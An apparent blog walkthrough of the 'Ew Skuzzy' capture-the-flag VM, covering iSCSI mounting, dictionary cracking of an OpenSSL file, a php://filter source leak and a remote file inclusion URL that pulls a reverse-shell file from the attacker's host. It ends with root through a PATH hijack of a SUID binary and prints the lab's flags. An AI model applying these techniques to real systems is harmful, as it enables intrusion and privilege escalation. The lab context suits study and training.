Ew_Skuzzy:1 CTF Walkthrough

Hi folks,

a couple of days ago a new CTF VM got released on Vulnhub and I decided to give that one a try. It’s called “Ew Skuzzy” and comes as Virtualbox image (plus .vmdk file).

Before getting started, I had to figure out how to allow the communication between a VMware Fusion (Mac) based VM (here: Kali Linux) and a Virtualbox VM (here: Ew Skuzzy). And of course without breaking the Internet connectivity to the Kali Linux box.

Wasn’t too hard after all – I’ll blog about it in a later post, since I think this might be useful to some of you out there. Running various VM’s on a Macbook seems to be a usual setup among security researchers 🙂

Basic enum

Right, let’s dive right into the hacking. First thing is always an nmap scan of the target machine. Here the output for my ‘nmap -A -v 192.168.99.129’:

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 89:c2:ae:12:d6:c5:19:4e:68:4a:28:e9:06:bd:9c:19 (RSA)
|_  256 f0:0c:ae:37:10:d3:6d:a2:85:3a:77:04:06:94:f8:0a (ECDSA)
80/tcp   open  http    syn-ack ttl 64 nginx
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx
|_http-title: Welcome!
3260/tcp open  iscsi?  syn-ack ttl 64
|_iscsi-info: ERROR: Script execution failed (use -d to debug)
MAC Address: 08:00:27:60:88:83 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.6
Uptime guess: 198.839 days (since Fri Sep  9 15:18:20 2016)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.48 ms 192.168.99.129

NSE: Script Post-scanning.
Initiating NSE at 11:27
Completed NSE at 11:27, 0.00s elapsed
Initiating NSE at 11:27
Completed NSE at 11:27, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.23 seconds
           Raw packets sent: 1023 (45.806KB) | Rcvd: 1015 (41.290KB)

We notice a web server at port 80, SSH access at port 22 and something new/weird/cool at 3260 (iscsi?). We’ll come to that later.

Checking out the website, we get this:
image

All right! Dirbuster it is! Let’s go for it. Interestingly, the “big.txt” wordlist didn’t get any results, so I tried the “common.txt” and this gave me 3 working URL’s:

index.html
/smblogin/custom-log/refer/del/arquivos/_archive/autodeploy/Links/pdf/portals/images3/forgotpassword/tuscany/send-password/catalog/tell_friend/queues/month/checking/mode/xmlrpc.php
/smblogin/custom-log/refer/del/arquivos/_archive/autodeploy/Links/pdf/portals/images3/forgotpassword/tuscany/send-password/catalog/tell_friend/queues/month/checking/mode/trap/affiliates/dba/program/font/index.html

Checking out the first one gave us nothing (well, except for a Youtube video :-))
image

Let’s check out the other path:
image

LOL. Very nice. Checking out the source code of the page gives us this:


<html>
<head>
<title>Hello...</title>
</head>
<body bgcolor="black">
<div style="width:500px; margin:0 auto;">
<img src="flags.jpg" data-wpmedia-src="flags.jpg" />

<!-- SGVsbG8sIGlzIGl0IGZsYWdzIHlvdSdyZSBsb29raW5nIGZvcj8KSSBjYW4gc2VlIGl0IGluIHlv dXIgZXllcwpJIGNhbiBzZWUgaXQgaW4geW91ciBzbWlsZQpGbGFncyBhcmUgYWxsIEkndmUgZXZl ciB3YW50ZWQgYW5kIG15IHBvcnRzIGFyZSBvcGVuIHdpZGUgCkNhdXNlIHlvdSBrbm93IGp1c3Qg d2hhdCB0byBzYXkgYW5kIHlvdSBrbm93IGp1c3Qgd2hhdCB0byBkbwpBbmQgSSB3YW50IHRvIHRl bGwgeW91IHNvIG11Y2gsIG5vIGZsYWdzIGZvciB5b3UuLi4K --></div>
</body>
</html>

Yes, that’s base64. Decoding it gives us this:


Hello, is it flags you're looking for?
I can see it in your eyes
I can see it in your smile
Flags are all I've ever wanted and my ports are open wide
Cause you know just what to say and you know just what to do
And I want to tell you so much, no flags for you...

Bah. No flag. Let’s try harder.

Since we’re running out of attack angles for the website, we’ll take a look at the other open ports on this machine (and Lionel kind of suggested doing that, too, haha). Since we have no credentials for SSH (and I don’t think that brute forcing a login is the way to success), we’ll check out the other open port – 3260.

Fun with iSCSI

Nmap identifies this as potential iSCSI – so it could be possible that there’s some iSCSI device available that we can mount over the network. I never tried that before but checking Google, this was really easy.

First, install the required tool in our Kali VM.


apt install open-iscsi

Then we run an iSCSI discovery on our target ip address.


iscsiadm -m discovery -t st -p 192.168.99.129

Looking good:
image

Interesting, so there IS something listening – we can see some storage we can potentially mount. Let’s give it a try.


iscsiadm -m node --login

Mount successful:
image 2

Dmesg gives us some details about the mounted device (dev/sdb):
image 3

Now that the hardware layer is sorted, let’s try to mount this device and hope for a file system. I’m shooting for an ext4 fs and yes, this worked out fine:
image 4

And there we go – our first flag! 🙂
image 5

Next to the flag there’s a file called “bobsdisk.dsk”. Probably a disk image. Let’s inspect and try to mount:
image

Works. Inside we find two files. An email (.eml) and some “.csv” that seems to be encrypted (“.enc”). Checking the format of that enc file gives us another clue:

[root:/mnt/t1] file ToAlice.csv.enc
ToAlice.csv.enc: openssl enc'd data with salted password

Checking out the email, we get a well written (funny!) text giving us more clues about how to decrypt the .enc file.

G'day Alice,

You know what really annoys me? How you and I ended up being used, like some kind of guinea pigs, by the RSA crypto wonks as actors in their designs for public key crypto... I don't recall ever being asked if that was ok? I never got even one cent of royalties from them!? RSA have made Millions on our backs, and it's time we took a stand!

Starting now, today, immediately, I'm never using asymmetric key encryption again, and it's all symmetric keys from here on out. All my files and documents will be encrypted with that popular symmetric crypto algorithm. Uh. Yeah, I can't pronounce its original name. I don't even know what the letters in its other name stand for - but really - that's not important. A bloke at my local hackerspace says its the beez kneez, ridgy-didge, real-deal, the best there is when it comes to symmetric key crypto, he has heaps of stickers on his laptop so I guess it means he knows, right? Anyway, he said it won some big important competition among crypto geeks in October 2000? Lucky Y2K didn't happen then, I suppose or that would have been one boring party!

Anyway this algorithm sounded good to me. I used the updated version that won the competition.

You know what happened to me this morning? My kids, the little darlings, had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! It's hard to stay mad though, I really love Lego, the way those blocks chain togeather really does make them work brilliantly. My favourite new Spanish swear came in handy when this happened... supercalifragilisticoespialidoso !

Anyway, given I'm not not using asymmetric crypto any longer, I destroyed my private key, so the public key you have for me may as well be deleted. I've got some notes for you which might help in your current case, I've encrypted it using my new favourite symmetric key crypto algorithm, it should be on the disk with this note. The key is, well, one awesome word I learnt in my recent Spanish classes!

Give me a shout when you're down this way again, we'll catch up for coffee (once the Lego is removed from my foot) :)

Cheers,

Bob.

PS: Oh, before I forget, the hacker-kid who told me how to use this new algorithm, said it was very important I used the command option -md sha256 when decrypting. Why? Who knows? He said something about living on the bleeding-edge...

PPS: flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}

Oh, and did I mention flag2? 🙂
image 2

Cracking the encoded file

So, the algorithm to decrypt this seems to be AES-256 (with a SHA-256 message digest hashing). The password is his favourite new Spanish word. Since I was too stupid to recognize this in the first place, I went on “cracking” the key by bruteforcing through the famous ROCKYOU wordlist (found in Kali Linux) (Bob even mentions ROCKYOU in his text to Alice).

Btw, I love the Bob and Alice reference (hello Offsec!) 🙂

For bruteforcing the AES key, I went on downloading this tool I found through googling: https://github.com/glv2/bruteforce-salted-openssl

Running it with the correct parameters, gives us this output:

[root:/mnt/t1] bruteforce-salted-openssl -t 8 -f /usr/share/wordlists/rockyou.txt -c AES-256-CBC -d sha256 ToAlice.csv.enc
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 3475551
Tried passwords per second: 1158517.000000
Last tried password: superbintang
Password candidate: supercalifragilisticoespialidoso

So, LOL – it seems the cracked password was already communicated in Bob’s email to Alice:
image 3

Anyways, we now have a working password and can decrypt the .enc file:
image

Checking the crypted file, we’re able to proudly present: flag3! And also two new web server paths we definitely have to check out:
image 2

Very nice so far!

More enum

Checking out /5560a1468022758dba5e92ac8f2353c0 gives us this website:
image.png

The source code again carries some base64 encoded string. Decoded, it’s the following bit of text. But unfortunately, no new flag:
image 2

Ok, next. /c2444910794e037ebd8aaf257178c90b looks really promising:
image

Analyzing the web application

It’s a typical PHP application that includes subpages by passing a (PHP-)file name via “p” GET parameter. We quickly discover that the “Feed Reader” URL pulls a “data.txt” from 127.0.0.1 which is even allowed to include executable PHP code…. which immediately switches our brain into “RFI exploit” mode 🙂

http://192.168.99.129/c2444910794e037ebd8aaf257178c90b/index.php?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt

Pity is, that simply replacing the “url” parameter just doesn’t work. If you do that, you get the following error message:
image

Sure, would have been too easy, I guess 🙂 So I tried all the obvious things. E.g. trying to pull /etc/passwd with a LFI (Local File Inclusion) attack. But: No chance.
image 2

Mechanism seems to be kind of secure. We need a “key” whenever we want to include URL’s that are not pointing to 127.0.0.1. What we try to achieve is the classical RFI attack way: Find a way to include remote files and make the web server execute them. This then opens the way to a PHP reverse shell into the system.

Finding the key for remote file execution

So, how do we get that “key”? No clue. Because we’re “blind” until now. And I’m really not a fan of trial and error and brute forcing. So let’s EXTRACT THE PHP SOURCE CODE of the reader.php AND FIND OUT 🙂

How can we do that? By using the nice php://filter trick. This allows us to read an accessible file (like the reader.php) and return a base64 encoded representation of its content (here: its source code).

The exact URL to do so is:

http://192.168.99.129/c2444910794e037ebd8aaf257178c90b/index.php?p=php://filter/read=convert.base64-encode/resource=reader.php

And the resulting PHP source code is this:

<?php defined ('VIAINDEX') or die('Ooooh! So close..'); ?>
<h1>Feed Reader</h1>
<?php
if(isset($_GET['url'])) {
    $url = $_GET['url'];
} else {
    print("<a href=\"?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt\">Load Feed</a>");
}

if(isset($url) && strlen($url) != '') {

    // Setup some variables.
    $secretok = false;
    $keyneeded = true;

    // Localhost as a source doesn't need to use the key.
    if(preg_match("#^http://127.0.0.1#", $url)) {
        $keyneeded = false;
        $secretok = true;
    }

    // Handle the key validation when it's needed.
    if($keyneeded) {
        $key = $_GET['key'];
        if(is_array($key)) {
            die("Array trick is mitigated ;)");
        }
        if(isset($key) && strlen($key) == '47') {
	    $hashedkey = hash('sha256', $key);
            $secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656";

            // If you can use the following code for a timing attack
            // then good luck 🙂 But.. You have the source anyway, right? 🙂
	    if(strcmp($hashedkey, $secret) == 0) {
                $secretok = true;
            } else {
                die("Sorry... Authentication failed. Key was invalid.");
	    }

        } else {
            die("Authentication invalid. You might need a key.");
        }
    }

    // Just to make sure the above key check was passed.
    if(!$secretok) {
        die("Something went wrong with the authentication process");
    }

    // Now load the contents of the file we are reading, and parse
    // the super awesomeness of its contents!
    $f = file_get_contents($url);

    $text = preg_split("/##text##/s", $f);

    if(isset($text['1']) && strlen($text['1']) > 0) {
        print($text['1']);
    }

    print "

";

    $php = preg_split("/##php##/s", $f);

    if(isset($php['1']) && strlen($php['1']) > 0) {
        eval($php['1']);
        // "If Eval is the answer, you're asking the wrong question!" - SG
        // It hurts me to write insecure code like this, but it is in the
        // name of education, and FUN, so I'll let it slide this time.
    }
}

We can see that the author of this VM spent quite some time adding security measures. Really nice to read. And what we learn is, that we need a 47 character “key” which, once SHA-256 hashed, results in a hash value of “5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656”. Since hashing is a one-way mechanism, we cannot reverse it and brute forcing seems to be the wrong way. So: Let’s hunt for that key.

We dump the source code for “flag.php” (exactly like we dumped “reader.php”) and are presented with the following content – including flag4 !!
image

Oh yes, and a subtle hint that this flag will be needed for further hacking. Counting the characters of this flag4 string -> it’s 47. Guess what we’ll do with this string now….

So, the key is “flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}” – by appending that to the feed URL, we are able to execute remotely (Kali…) hosted PHP code. Nice.

Now all that’s left to get a SHELL is to create a PHP reverse shell file and host it on our box. Please note: We have to wrap the PHP code inside a ##php## block (as can be learnt from studying the reader.php source code or the default “data.txt”). Everything in that block will be executed by the reader.php.

Obtaining a low privilege shell

One: Host the shellcode file on our box:
image

Two: Call the URL via Webserver and trigger the remote inclusion:

http://192.168.99.129/c2444910794e037ebd8aaf257178c90b/index.php?p=reader.php&url=http://192.168.99.128/revshell.txt&key=flag44e44db0f1edc3c361dbf54eaf4df40352db91f8b

Three: Set up a netcat listener and receive a shell into the VM:
image 2

Privilege Escalation to root

Awesome. We’re in! Now the last bit – PRIVILEGE ESCALATION. For that, we have to enumerate the machine and hunt for weaknesses. This one was pretty easy since this is a classic misconfiguration issue.

One of the first things I always do is to hunt for executables with the SUID bit set. These are usually files belonging to root and allow us, if exploitable, to execute arbitrary commands as root.
image

Mhhhhh… suspicious. What’s that at the bottom? /opt/alicebackup? That’s not stock Ubuntu 🙂 Trying to find out what this thing does by using “strings” on the binary, we stumple upon a weakness that’s most likely exploitable.
image 2

This bit of software belongs to root, then switches the user context to root (you can see that from the program output and also there’s a reference to setuid in the strings we dumped). The command it’s then trying to execute is “scp /tmp/special bob@alice.home:~”. Here the output from the script when run “normally”:
image 3

The problem with this is, that it’s trying to execute a file/script/program on a RELATIVE location (opposed to an ABSOLUTE location like /sbin would be). And we will now exploit this to become root.

First build a file we want to execute as root. Since we know that we already have a user switch to root before executing the scp, we don’t have to do a suid/guid by ourselves. So all that’s left is spawning a new bash shell.

Let’s create a /tmp/scp file with a simple one line content. Also make this file executable:
image

So whoever executes this file, spawns a new bash shell. Now we’re going for the kill.

By changing the PATH prior executing the vulnerable suid binary (i.e. the location, where Linux is searching for the relative located file), we force the system to look first into /tmp when searching for “scp”.

So the chain of commands is: /opt/alicebackup switches user context to root and tries to run “scp …” -> Linux searches the filesystem according to its path (here: in /tmp first) -> Our badboy /tmp/scp gets found and executed as root -> A new bash opens with root privileges. Game over.
image 3

Ah, the final flag5. Found in /root/flag.txt:
image 2

That’s it! A really really nice VM. Maybe a bit too easy but a lot of creativity inside (loved that bit with the “key” you had to figure out).

Thank you @vortexau for this VM! Really inspired me to create a CTF VM, too!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s